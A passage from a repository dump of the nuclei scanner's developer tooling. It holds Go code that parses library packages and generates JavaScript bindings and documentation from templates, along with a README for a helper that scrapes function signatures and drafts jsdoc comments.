    "content": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"path\"\n\t\"path/filepath\"\n\n\t\"github.com/pkg/errors\"\n\tgenerator \"github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/bindgen\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n)\n\nvar (\n\tdir           string\n\tgeneratedDir  string\n\ttargetModules string\n)\n\nfunc main() {\n\tflag.StringVar(&dir, \"dir\", \"libs\", \"directory to process\")\n\tflag.StringVar(&generatedDir, \"out\", \"generated\", \"directory to output generated files\")\n\tflag.StringVar(&targetModules, \"target\", \"\", \"target modules to generate\")\n\tflag.Parse()\n\tlog.SetFlags(0)\n\tif !fileutil.FolderExists(dir) {\n\t\tlog.Fatalf(\"directory %s does not exist\", dir)\n\t}\n\tif err := process(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n\nfunc process() error {\n\tmodules, err := generator.GetLibraryModules(dir)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not get library modules\")\n\t}\n\tif len(modules) == 0 && fileutil.FolderExists(dir) {\n\t\t// if no modules are found, then given directory is the module itself\n\t\ttargetModules = path.Base(dir)\n\t\tmodules = append(modules, targetModules)\n\t\tdir = filepath.Dir(dir)\n\t}\n\tfor _, module := range modules {\n\t\tlog.Printf(\"[module] Generating %s\", module)\n\n\t\tdata, err := generator.CreateTemplateData(filepath.Join(dir, module), \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/\")\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not create template data: %v\", err)\n\t\t}\n\n\t\tprefixed := \"lib\" + module\n\t\t// if !goOnly {\n\t\t// \terr = data.WriteJSTemplate(filepath.Join(generatedDir, \"js/\"+prefixed), module)\n\t\t// \tif err != nil {\n\t\t// \t\treturn fmt.Errorf(\"could not write js template: %v\", err)\n\t\t// \t}\n\t\t// }\n\t\terr = data.WriteGoTemplate(path.Join(generatedDir, \"go/\"+prefixed), module)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not write go template: %v\", err)\n\t\t}\n\t\t// disabled for now since we have static website for docs\n\t\t// err = data.WriteMarkdownLibraryDocumentation(path.Join(generatedDir, \"markdown/\"), module)\n\t\t// if err != nil {\n\t\t// \treturn fmt.Errorf(\"could not write markdown template: %v\", err)\n\t\t// }\n\n\t\t// err = data.WriteMarkdownIndexTemplate(path.Join(generatedDir, \"markdown/\"))\n\t\t// if err != nil {\n\t\t// \treturn fmt.Errorf(\"could not write markdown index template: %v\", err)\n\t\t// }\n\t\tdata.InitNativeScripts()\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/js/devtools/bindgen/generator.go",
    "content": "package generator\n\nimport (\n\t\"fmt\"\n\t\"go/ast\"\n\t\"go/importer\"\n\t\"go/parser\"\n\t\"go/token\"\n\t\"go/types\"\n\t\"log\"\n\t\"os\"\n\t\"strings\"\n\n\t_ \"embed\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/compiler\"\n)\n\nvar (\n\t//go:embed templates/js_class.tmpl\n\tjsClassFile string\n\t//go:embed templates/go_class.tmpl\n\tgoClassFile string\n\t//go:embed templates/markdown_class.tmpl\n\tmarkdownClassFile string\n)\n\n// TemplateData contains the parameters for the JS code generator\ntype TemplateData struct {\n\tPackageName               string\n\tPackagePath               string\n\tHasObjects                bool\n\tPackageFuncs              map[string]string\n\tPackageInterfaces         map[string]string\n\tPackageFuncsExtraNoType   map[string]PackageFunctionExtra\n\tPackageFuncsExtra         map[string]PackageFuncExtra\n\tPackageVars               map[string]string\n\tPackageVarsValues         map[string]string\n\tPackageTypes              map[string]string\n\tPackageTypesExtra         map[string]PackageTypeExtra\n\tPackageDefinedConstructor map[string]struct{}\n\n\ttypesPackage *types.Package\n\n\t// NativeScripts contains the list of native scripts\n\t// that should be included in the package.\n\tNativeScripts []string\n}\n\n// PackageTypeExtra contains extra information about a type\ntype PackageTypeExtra struct {\n\tFields map[string]string\n}\n\n// PackageFuncExtra contains extra information about a function\ntype PackageFuncExtra struct {\n\tItems map[string]PackageFunctionExtra\n\tDoc   string\n}\n\n// PackageFunctionExtra contains extra information about a function\ntype PackageFunctionExtra struct {\n\tArgs    []string\n\tName    string\n\tReturns []string\n\tDoc     string\n}\n\n// newTemplateData creates a new template data structure\nfunc newTemplateData(packagePrefix, pkgName string) *TemplateData {\n\treturn &TemplateData{\n\t\tPackageName:               pkgName,\n\t\tPackagePath:               packagePrefix + pkgName,\n\t\tPackageFuncs:              make(map[string]string),\n\t\tPackageFuncsExtraNoType:   make(map[string]PackageFunctionExtra),\n\t\tPackageFuncsExtra:         make(map[string]PackageFuncExtra),\n\t\tPackageVars:               make(map[string]string),\n\t\tPackageVarsValues:         make(map[string]string),\n\t\tPackageTypes:              make(map[string]string),\n\t\tPackageInterfaces:         make(map[string]string),\n\t\tPackageTypesExtra:         make(map[string]PackageTypeExtra),\n\t\tPackageDefinedConstructor: make(map[string]struct{}),\n\t}\n}\n\n// GetLibraryModules takes a directory and returns subdirectories as modules\nfunc GetLibraryModules(directory string) ([]string, error) {\n\tdirs, err := os.ReadDir(directory)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not read directory\")\n\t}\n\tvar modules []string\n\tfor _, dir := range dirs {\n\t\tif dir.IsDir() {\n\t\t\tmodules = append(modules, dir.Name())\n\t\t}\n\t}\n\treturn modules, nil\n}\n\n// CreateTemplateData creates a TemplateData structure from a directory\n// of go source code.\nfunc CreateTemplateData(directory string, packagePrefix string) (*TemplateData, error) {\n\tfmt.Println(directory)\n\tfset := token.NewFileSet()\n\n\tpkgs, err := parser.ParseDir(fset, directory, nil, parser.ParseComments) //nolint\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not parse directory\")\n\t}\n\tif len(pkgs) != 1 {\n\t\treturn nil, fmt.Errorf(\"expected 1 package, got %d\", len(pkgs))\n\t}\n\n\tconfig := &types.Config{\n\t\tImporter: importer.ForCompiler(fset, \"source\", nil),\n\t}\n\tvar packageName string\n\tvar files []*ast.File\n\tfor k, v := range pkgs {\n\t\tpackageName = k\n\t\tfor _, f := range v.Files {\n\t\t\tfiles = append(files, f)\n\t\t}\n\t\tbreak\n\t}\n\n\tpkg, err := config.Check(packageName, fset, files, nil)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not check package\")\n\t}\n\n\tif len(pkgs) == 0 {\n\t\treturn nil, errors.New(\"no packages found\")\n\t}\n\n\tvar pkgName string\n\tfor k := range pkgs {\n\t\tpkgName = k\n\t\tbreak\n\t}\n\n\tpkgMain := pkgs[pkgName]\n\n\tlog.Printf(\"[create] [discover] Package: %s\\n\", pkgMain.Name)\n\tdata := newTemplateData(packagePrefix, pkgMain.Name)\n\tdata.typesPackage = pkg\n\tdata.gatherPackageData(pkgMain, data)\n\n\tfor item, v := range data.PackageFuncsExtra {\n\t\tif len(v.Items) == 0 {\n\t\t\tdelete(data.PackageFuncsExtra, item)\n\t\t}\n\t}\n\n\t// map types with corresponding constructors\n\tfor constructor := range data.PackageDefinedConstructor {\n\tobject:\n\t\tfor k := range data.PackageTypes {\n\t\t\tif strings.Contains(constructor, k) {\n\t\t\t\tdata.PackageTypes[k] = constructor\n\t\t\t\tbreak object\n\t\t\t}\n\t\t}\n\t}\n\tfor k, v := range data.PackageTypes {\n\t\tif k == v || v == \"\" {\n\t\t\tdata.HasObjects = true\n\t\t\tdata.PackageTypes[k] = \"\"\n\t\t}\n\t}\n\n\treturn data, nil\n}\n\n// InitNativeScripts initializes the native scripts array\n// with all the exported functions from the runtime\nfunc (d *TemplateData) InitNativeScripts() {\n\truntime := compiler.InternalGetGeneratorRuntime()\n\n\texports := runtime.Get(\"exports\")\n\tif exports == nil {\n\t\treturn\n\t}\n\texportsObj := exports.Export()\n\tif exportsObj == nil {\n\t\treturn\n\t}\n\tfor v := range exportsObj.(map[string]interface{}) {\n\t\td.NativeScripts = append(d.NativeScripts, v)\n\t}\n}\n\n// gatherPackageData gathers data about the package\nfunc (d *TemplateData) gatherPackageData(astNode ast.Node, data *TemplateData) {\n\tast.Inspect(astNode, func(node ast.Node) bool {\n\t\tswitch node := node.(type) {\n\t\tcase *ast.FuncDecl:\n\t\t\textra := d.collectFuncDecl(node)\n\t\t\tif extra.Name == \"\" {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tdata.PackageFuncsExtraNoType[node.Name.Name] = extra\n\t\t\tdata.PackageFuncs[node.Name.Name] = node.Name.Name\n\t\tcase *ast.TypeSpec:\n\t\t\tif !node.Name.IsExported() {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tif node.Type == nil {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tstructDecl, ok := node.Type.(*ast.StructType)\n\t\t\tif !ok {\n\t\t\t\treturn true\n\t\t\t}\n\n\t\t\tpackageTypes := PackageTypeExtra{\n\t\t\t\tFields: make(map[string]string),\n\t\t\t}\n\t\t\tfor _, field := range structDecl.Fields.List {\n\t\t\t\tfieldName := field.Names[0].Name\n\n\t\t\t\tvar fieldTypeValue string\n\t\t\t\tswitch fieldType := field.Type.(type) {\n\t\t\t\tcase *ast.Ident: // Field type is a simple identifier\n\t\t\t\t\tfieldTypeValue = fieldType.Name\n\t\t\t\tcase *ast.ArrayType:\n\t\t\t\t\tswitch fieldType.Elt.(type) {\n\t\t\t\t\tcase *ast.Ident:\n\t\t\t\t\t\tfieldTypeValue = fmt.Sprintf(\"[]%s\", fieldType.Elt.(*ast.Ident).Name)\n\t\t\t\t\tcase *ast.StarExpr:\n\t\t\t\t\t\tfieldTypeValue = fmt.Sprintf(\"[]%s\", d.handleStarExpr(fieldType.Elt.(*ast.StarExpr)))\n\t\t\t\t\t}\n\t\t\t\tcase *ast.SelectorExpr: // Field type is a qualified identifier\n\t\t\t\t\tfieldTypeValue = fmt.Sprintf(\"%s.%s\", fieldType.X, fieldType.Sel)\n\t\t\t\t}\n\t\t\t\tpackageTypes.Fields[fieldName] = fieldTypeValue\n\t\t\t}\n\t\t\tif len(packageTypes.Fields) == 0 {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tdata.PackageTypesExtra[node.Name.Name] = packageTypes\n\t\tcase *ast.GenDecl:\n\t\t\tidentifyGenDecl(astNode, node, data)\n\t\t}\n\t\treturn true\n\t})\n}\n\nfunc identifyGenDecl(node ast.Node, decl *ast.GenDecl, data *TemplateData) {\n\tfor _, spec := range decl.Specs {\n\t\tswitch spec := spec.(type) {\n\t\tcase *ast.ValueSpec:\n\t\t\tif !spec.Names[0].IsExported() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif len(spec.Values) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tdata.PackageVars[spec.Names[0].Name] = spec.Names[0].Name\n\t\t\tdata.PackageVarsValues[spec.Names[0].Name] = spec.Values[0].(*ast.BasicLit).Value\n\t\tcase *ast.TypeSpec:\n\t\t\tif !spec.Name.IsExported() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif spec.Type == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tswitch spec.Type.(type) {\n\t\t\tcase *ast.InterfaceType:\n\t\t\t\tdata.PackageInterfaces[spec.Name.Name] = convertCommentsToJavascript(decl.Doc.Text())\n\n\t\t\tcase *ast.StructType:\n\t\t\t\tdata.PackageFuncsExtra[spec.Name.Name] = PackageFuncExtra{\n\t\t\t\t\tItems: make(map[string]PackageFunctionExtra),\n\t\t\t\t\tDoc:   convertCommentsToJavascript(decl.Doc.Text()),\n\t\t\t\t}\n\n\t\t\t\t// Traverse the AST.\n\t\t\t\tcollectStructFuncsFromAST(node, spec, data)\n\t\t\t\tdata.PackageTypes[spec.Name.Name] = spec.Name.Name\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc collectStructFuncsFromAST(node ast.Node, spec *ast.TypeSpec, data *TemplateData) {\n\tast.Inspect(node, func(n ast.Node) bool {\n\t\tif fn, isFunc := n.(*ast.FuncDecl); isFunc && fn.Name.IsExported() {\n\t\t\tprocessFunc(fn, spec, data)\n\t\t}\n\t\treturn true\n\t})\n}\n\nfunc processFunc(fn *ast.FuncDecl, spec *ast.TypeSpec, data *TemplateData) {\n\tif fn.Recv == nil || len(fn.Recv.List) == 0 {\n\t\treturn\n\t}\n\n\tif t, ok := fn.Recv.List[0].Type.(*ast.StarExpr); ok {\n\t\tif ident, ok := t.X.(*ast.Ident); ok && spec.Name.Name == ident.Name {\n\t\t\tprocessFunctionDetails(fn, ident, data)\n\t\t}\n\t}\n}\n\nfunc processFunctionDetails(fn *ast.FuncDecl, ident *ast.Ident, data *TemplateData) {\n\textra := PackageFunctionExtra{\n\t\tName:    fn.Name.Name,\n\t\tArgs:    extractArgs(fn),\n\t\tDoc:     convertCommentsToJavascript(fn.Doc.Text()),\n\t\tReturns: data.extractReturns(fn),\n\t}\n\tdata.PackageFuncsExtra[ident.Name].Items[fn.Name.Name] = extra\n}\n\nfunc extractArgs(fn *ast.FuncDecl) []string {\n\targs := make([]string, 0)\n\tfor _, arg := range fn.Type.Params.List {\n\t\tfor _, name := range arg.Names {\n\t\t\targs = append(args, name.Name)\n\t\t}\n\t}\n\treturn args\n}\n\nfunc (d *TemplateData) extractReturns(fn *ast.FuncDecl) []string {\n\treturns := make([]string, 0)\n\tif fn.Type.Results == nil {\n\t\treturn returns\n\t}\n\tfor _, ret := range fn.Type.Results.List {\n\t\treturnType := d.extractReturnType(ret)\n\t\tif returnType != \"\" {\n\t\t\treturns = append(returns, returnType)\n\t\t}\n\t}\n\treturn returns\n}\n\nfunc (d *TemplateData) extractReturnType(ret *ast.Field) string {\n\tswitch v := ret.Type.(type) {\n\tcase *ast.ArrayType:\n\t\tif v, ok := v.Elt.(*ast.Ident); ok {\n\t\t\treturn fmt.Sprintf(\"[]%s\", v.Name)\n\t\t}\n\t\tif v, ok := v.Elt.(*ast.StarExpr); ok {\n\t\t\treturn fmt.Sprintf(\"[]%s\", d.handleStarExpr(v))\n\t\t}\n\tcase *ast.Ident:\n\t\treturn v.Name\n\tcase *ast.StarExpr:\n\t\treturn d.handleStarExpr(v)\n\t}\n\treturn \"\"\n}\n\nfunc (d *TemplateData) handleStarExpr(v *ast.StarExpr) string {\n\tswitch vk := v.X.(type) {\n\tcase *ast.Ident:\n\t\treturn vk.Name\n\tcase *ast.SelectorExpr:\n\t\tif vk.X != nil {\n\t\t\td.collectTypeFromExternal(d.typesPackage, vk.X.(*ast.Ident).Name, vk.Sel.Name)\n\t\t}\n\t\treturn vk.Sel.Name\n\t}\n\treturn \"\"\n}\n\nfunc (d *TemplateData) collectTypeFromExternal(pkg *types.Package, pkgName, name string) {\n\tif pkgName == \"goja\" {\n\t\t// no need to attempt to collect types from goja ( this is metadata )\n\t\treturn\n\t}\n\textra := PackageTypeExtra{\n\t\tFields: make(map[string]string),\n\t}\n\n\tfor _, importValue := range pkg.Imports() {\n\t\tif importValue.Name() != pkgName {\n\t\t\tcontinue\n\t\t}\n\t\tobj := importValue.Scope().Lookup(name)\n\t\tif obj == nil || !obj.Exported() {\n\t\t\tcontinue\n\t\t}\n\t\ttypeName, ok := obj.(*types.TypeName)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\tunderlying, ok := typeName.Type().Underlying().(*types.Struct)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\tfor i := 0; i < underlying.NumFields(); i++ {\n\t\t\tfield := underlying.Field(i)\n\t\t\tfieldType := field.Type().String()\n\n\t\t\tif val, ok := field.Type().Underlying().(*types.Pointer); ok {\n\t\t\t\tfieldType = field.Name()\n\t\t\t\td.collectTypeFromExternal(pkg, pkgName, val.Elem().(*types.Named).Obj().Name())\n\t\t\t}\n\t\t\tif _, ok := field.Type().Underlying().(*types.Struct); ok {\n\t\t\t\tfieldType = field.Name()\n\t\t\t\td.collectTypeFromExternal(pkg, pkgName, field.Name())\n\t\t\t}\n\t\t\textra.Fields[field.Name()] = fieldType\n\t\t}\n\t\tif len(extra.Fields) > 0 {\n\t\t\td.PackageTypesExtra[name] = extra\n\t\t}\n\t}\n}\n\nfunc (d *TemplateData) collectFuncDecl(decl *ast.FuncDecl) (extra PackageFunctionExtra) {\n\tif decl.Recv != nil {\n\t\treturn\n\t}\n\tif !decl.Name.IsExported() {\n\t\treturn\n\t}\n\textra.Name = decl.Name.Name\n\textra.Doc = convertCommentsToJavascript(decl.Doc.Text())\n\n\tisConstructor := false\n\n\tfor _, arg := range decl.Type.Params.List {\n\t\tp := exprToString(arg.Type)\n\t\tif strings.Contains(p, \"goja.ConstructorCall\") {\n\t\t\tisConstructor = true\n\t\t}\n\t\tfor _, name := range arg.Names {\n\t\t\textra.Args = append(extra.Args, name.Name)\n\t\t}\n\t}\n\tif isConstructor {\n\t\td.PackageDefinedConstructor[decl.Name.Name] = struct{}{}\n\t}\n\n\textra.Returns = d.extractReturns(decl)\n\treturn extra\n}\n\n// convertCommentsToJavascript converts comments to javascript comments.\nfunc convertCommentsToJavascript(comments string) string {\n\tsuffix := strings.Trim(strings.TrimSuffix(strings.ReplaceAll(comments, \"\\n\", \"\\n// \"), \"// \"), \"\\n\")\n\treturn fmt.Sprintf(\"// %s\", suffix)\n}\n\n// exprToString converts an expression to a string\nfunc exprToString(expr ast.Expr) string {\n\tswitch t := expr.(type) {\n\tcase *ast.Ident:\n\t\treturn t.Name\n\tcase *ast.SelectorExpr:\n\t\treturn exprToString(t.X) + \".\" + t.Sel.Name\n\tcase *ast.StarExpr:\n\t\treturn exprToString(t.X)\n\tcase *ast.ArrayType:\n\t\treturn \"[]\" + exprToString(t.Elt)\n\tcase *ast.InterfaceType:\n\t\treturn \"interface{}\"\n\t// Add more cases to handle other types\n\tdefault:\n\t\treturn fmt.Sprintf(\"%T\", expr)\n\t}\n}\n"
  },
  {
    "path": "pkg/js/devtools/bindgen/output.go",
    "content": "package generator\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/pkg/errors\"\n)\n\n// markdownIndexes is a map of markdown modules to their filename index\n//\n// It is used to generate the index.md file for the documentation\nvar markdownIndexes = make(map[string]string)\n\n// WriteGoTemplate writes the go template to the output file\nfunc (d *TemplateData) WriteGoTemplate(outputDirectory string, pkgName string) error {\n\t_ = os.MkdirAll(outputDirectory, os.ModePerm)\n\n\tvar err error\n\ttmpl := template.New(\"go_class\")\n\ttmpl = tmpl.Funcs(templateFuncs())\n\ttmpl, err = tmpl.Parse(goClassFile)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not parse go class template\")\n\t}\n\n\tfilename := path.Join(outputDirectory, fmt.Sprintf(\"%s.go\", pkgName))\n\toutput, err := os.Create(filename)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create go class template\")\n\t}\n\n\tif err := tmpl.Execute(output, d); err != nil {\n\t\t_ = output.Close()\n\t\treturn errors.Wrap(err, \"could not execute go class template\")\n\t}\n\t_ = output.Close()\n\n\tcmd := exec.Command(\"gofmt\", \"-w\", filename)\n\tcmd.Stderr = os.Stderr\n\tcmd.Stdout = os.Stdout\n\tif err := cmd.Run(); err != nil {\n\t\treturn errors.Wrap(err, \"could not format go class template\")\n\t}\n\treturn nil\n}\n\n// WriteJSTemplate writes the js template to the output file\nfunc (d *TemplateData) WriteJSTemplate(outputDirectory string, pkgName string) error {\n\t_ = os.MkdirAll(outputDirectory, os.ModePerm)\n\n\tvar err error\n\ttmpl := template.New(\"js_class\")\n\ttmpl, err = tmpl.Parse(jsClassFile)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not parse js class template\")\n\t}\n\n\tfilename := path.Join(outputDirectory, fmt.Sprintf(\"%s.js\", pkgName))\n\toutput, err := os.Create(filename)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create js class template\")\n\t}\n\n\tif err := tmpl.Execute(output, d); err != nil {\n\t\t_ = output.Close()\n\t\treturn errors.Wrap(err, \"could not execute js class template\")\n\t}\n\t_ = output.Close()\n\n\tcmd := exec.Command(\"js-beautify\", \"-r\", filename)\n\tcmd.Stderr = os.Stderr\n\tcmd.Stdout = os.Stdout\n\tif err := cmd.Run(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// WriteMarkdownIndexTemplate writes the markdown documentation to the output file\nfunc (d *TemplateData) WriteMarkdownIndexTemplate(outputDirectory string) error {\n\t_ = os.MkdirAll(outputDirectory, os.ModePerm)\n\n\tfilename := path.Join(outputDirectory, \"index.md\")\n\toutput, err := os.Create(filename)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create markdown index template\")\n\t}\n\tdefer func() {\n\t\t_ = output.Close()\n\t}()\n\n\tbuffer := &bytes.Buffer{}\n\t_, _ = buffer.WriteString(\"# Index\\n\\n\")\n\tfor _, v := range markdownIndexes {\n\t\t_, _ = fmt.Fprintf(buffer, \"* %s\\n\", v)\n\t}\n\t_, _ = buffer.WriteString(\"\\n\\n\")\n\n\t_, _ = buffer.WriteString(\"# Scripts\\n\\n\")\n\tfor _, v := range d.NativeScripts {\n\t\t_, _ = fmt.Fprintf(buffer, \"* `%s`\\n\", v)\n\t}\n\tif _, err := output.Write(buffer.Bytes()); err != nil {\n\t\treturn errors.Wrap(err, \"could not write markdown index template\")\n\t}\n\treturn nil\n}\n\n// WriteMarkdownLibraryDocumentation writes the markdown documentation for a js library\n// to the output file\nfunc (d *TemplateData) WriteMarkdownLibraryDocumentation(outputDirectory string, pkgName string) error {\n\tvar err error\n\t_ = os.MkdirAll(outputDirectory, os.ModePerm)\n\n\ttmpl := template.New(\"markdown_class\")\n\ttmpl = tmpl.Funcs(templateFuncs())\n\ttmpl, err = tmpl.Parse(markdownClassFile)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not parse markdown class template\")\n\t}\n\n\tfilename := path.Join(outputDirectory, fmt.Sprintf(\"%s.md\", pkgName))\n\toutput, err := os.Create(filename)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create markdown class template\")\n\t}\n\n\tmarkdownIndexes[pkgName] = fmt.Sprintf(\"[%s](%s.md)\", pkgName, pkgName)\n\tif err := tmpl.Execute(output, d); err != nil {\n\t\t_ = output.Close()\n\t\treturn err\n\t}\n\t_ = output.Close()\n\n\treturn nil\n}\n\n// templateFuncs returns the template functions for the generator\nfunc templateFuncs() map[string]interface{} {\n\treturn map[string]interface{}{\n\t\t\"exist\": func(v map[string]string, key string) bool {\n\t\t\t_, exist := v[key]\n\t\t\treturn exist\n\t\t},\n\t\t\"toTitle\": func(v string) string {\n\t\t\tif len(v) == 0 {\n\t\t\t\treturn v\n\t\t\t}\n\n\t\t\treturn strings.ToUpper(string(v[0])) + v[1:]\n\t\t},\n\t\t\"uncomment\": func(v string) string {\n\t\t\treturn strings.ReplaceAll(strings.ReplaceAll(v, \"// \", \" \"), \"\\n\", \" \")\n\t\t},\n\t}\n}\n"
  },
  {
    "path": "pkg/js/devtools/bindgen/templates/go_class.tmpl",
    "content": "package {{.PackageName}}\n\n{{$pkgName:=(printf \"lib_%s\" .PackageName) -}}\n\nimport (\n\t{{$pkgName}} \"{{.PackagePath}}\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/{{.PackageName}}\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t{{- $pkgFuncs:=.PackageFuncs}}\n\t\t\t// Functions\n\t\t\t{{- range $objName, $objDefine := .PackageFuncs}}\n\t\t\t\"{{$objName}}\": {{$pkgName}}.{{$objDefine}},\n\t\t\t{{- end}}\n\n\t\t\t// Var and consts\n\t\t\t{{- range $objName, $objDefine := .PackageVars}}\n\t\t\t\"{{$objName}}\": {{$pkgName}}.{{$objDefine}},\n\t\t\t{{- end}}\n\n\t\t\t// Objects / Classes\n\t\t\t{{- range $objName, $objDefine := .PackageTypes}}\n\t\t\t{{- if $objDefine}}\n\t\t\t\"{{$objName}}\": {{$pkgName}}.{{$objDefine}},\n\t\t\t{{- else}}\n\t\t\t\"{{$objName}}\": gojs.GetClassConstructor[{{$pkgName}}.{{$objName}}](&{{$pkgName}}.{{$objName}}{}),\n\t\t\t{{- end}}\n\t\t\t{{- end}}\n\n\t\t\t},\n\t\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}"
  },
  {
    "path": "pkg/js/devtools/bindgen/templates/js_class.tmpl",
    "content": "{{$packageName:=(printf \"%s\" .PackageName) -}}\n/**@module {{$packageName}} */\n\n\n\n{{- range $typeName, $methods := .PackageFuncsExtra }}\n\n{{ $methods.Doc }}\nclass {{$typeName}} {\n\n        {{- range $methodName, $method := $methods.Items }}\n    {{$method.Doc}}\n    {{ $method.Name }}({{range $index, $arg := $method.Args}}{{if $index}}, {{end}}{{ $arg }}{{end}}) {\n        return {{range $idx, $arg := $method.Returns}}{{if $idx}}, {{end}}{{ $arg }}{{end}};\n    };\n        {{- end }}\n};\n\n{{- end }}\n\n\n{{- range $objName, $method := .PackageFuncsExtraNoType}}\n{{$method.Doc}}\nfunction {{$objName}}({{range $index, $arg := $method.Args}}{{if $index}}, {{end}}{{ $arg }}{{end}}) {\n        return {{range $idx, $arg := $method.Returns}}{{if $idx}}, {{end}}{{ $arg }}{{end}};\n    };\n{{- end}}\n\n\nmodule.exports = {\n{{- range $typeName, $methods := .PackageFuncsExtra }}\n    {{$typeName}}: {{$typeName}},\n{{- end }}\n{{- range $objName, $method := .PackageFuncsExtraNoType}}\n    {{$objName}}: {{$objName}},\n{{- end}}\n};"
  },
  {
    "path": "pkg/js/devtools/bindgen/templates/markdown_class.tmpl",
    "content": "{{$packageName:=(printf \"%s\" .PackageName) -}}\n## {{$packageName}} \n---\n\n\n`{{$packageName}}` implements bindings for `{{.PackageName}}` protocol in javascript\nto be used from nuclei scanner.\n\n\n{{ if .PackageFuncsExtra }}\n## Types \n\n{{- range $typeName, $methods := .PackageFuncsExtra }}\n\n### {{$typeName}}\n\n{{ uncomment $methods.Doc }}\n\n| Method | Description | Arguments | Returns |\n|--------|-------------|-----------|---------|\n{{- range $methodName, $method := $methods.Items }}\n| `{{$methodName}}` | {{uncomment $method.Doc}} | {{range $index, $arg := $method.Args}}{{if $index}}, {{end}}`{{ $arg }}`{{end}} | {{range $idx, $arg := $method.Returns}}{{if $idx}}, {{end}}`{{ $arg }}`{{end}} |\n{{- end }}\n\n{{- end }}\n{{- end }}\n\n{{ if .PackageFuncsExtraNoType }}\n## Exported Functions\n\n| Name | Description | Arguments | Returns |\n|--------|-------------|-----------|---------|\n{{- range $objName, $method := .PackageFuncsExtraNoType}}\n{{$objName}} | {{uncomment $method.Doc}} | {{range $index, $arg := $method.Args}}{{if $index}}, {{end}}`{{ $arg }}`{{end}} | {{range $idx, $arg := $method.Returns}}{{if $idx}}, {{end}}`{{ $arg }}`{{end}} |\n{{- end}}\n{{- end}}\n\n{{ if .PackageTypesExtra }}\n## Exported Types Fields\n\n{{- range $typeName, $methods := .PackageTypesExtra }}\n### {{$typeName}}\n\n| Name | Type | \n|--------|-------------|\n{{- range $fieldName, $field := $methods.Fields }}\n| {{$fieldName}} | `{{ $field }}` |\n{{- end }}\n{{- end }}\n{{- end }}\n\n{{ if .PackageVarsValues }}\n\n## Exported Variables Values\n\n| Name | Value |\n|--------|-------------|\n{{- range $varName, $var := .PackageVarsValues }}\n| {{$varName}} | `{{ $var }}` |\n{{- end }}\n{{- end}}\n\n{{ if .PackageInterfaces }}\n## Exported Interfaces\n\n{{- range $typeName, $doc := .PackageInterfaces }}\n### {{$typeName}}\n\n{{ uncomment $doc }}\n{{- end }}\n{{- end }}\n"
  },
  {
    "path": "pkg/js/devtools/scrapefuncs/README.md",
    "content": "## scrapefuncs\n\nscrapefuncs is go/ast based tool to scrapes all helper functions exposed in javascript with help of go/ast and generates a js file with jsdoc comments using LLM (OpenAI)\n\n### Usage\n\n```console\nUsage of ./scrapefuncs:\n  -dir string\n    \tdirectory to process (default \"pkg/js/global\")\n  -key string\n    \topenai api key\n  -keyfile string\n    \topenai api key file\n  -out string\n    \toutput js file with declarations of all global functions\n```\n\n\n### Example\n\n```console\n$ ./scrapefuncs -keyfile ~/.openai.key                                   \n[+] Scraped 7 functions\n\nName: Rand\nSignatures: \"Rand(n int) []byte\"\nDescription: Rand returns a random byte slice of length n\n\nName: RandInt\nSignatures: \"RandInt() int\"\nDescription: RandInt returns a random int\n\nName: log\nSignatures: \"log(msg string)\"\nSignatures: \"log(msg map[string]interface{})\"\nDescription: log prints given input to stdout with [JS] prefix for debugging purposes \n\nName: getNetworkPort\nSignatures: \"getNetworkPort(port string, defaultPort string) string\"\nDescription: getNetworkPort registers defaultPort and returns defaultPort if it is a colliding port with other protocols\n\nName: isPortOpen\nSignatures: \"isPortOpen(host string, port string, [timeout int]) bool\"\nDescription: isPortOpen checks if given TCP port is open on host. timeout is optional and defaults to 5 seconds\n\nName: isUDPPortOpen\nSignatures: \"isUDPPortOpen(host string, port string, [timeout int]) bool\"\nDescription: isUDPPortOpen checks if the given UDP port is open on the host. Timeout is optional and defaults to 5 seconds.\n\nName: ToBytes\nSignatures: \"ToBytes(...interface{}) []byte\"\nDescription: ToBytes converts given input to byte slice\n\nName: ToString\nSignatures: \"ToString(...interface{}) string\"\nDescription: ToString converts given input to string\n\n\n[+] Generating jsdoc for all functions\n\n/**\n * Rand returns a random byte slice of length n\n * Rand(n int) []byte\n 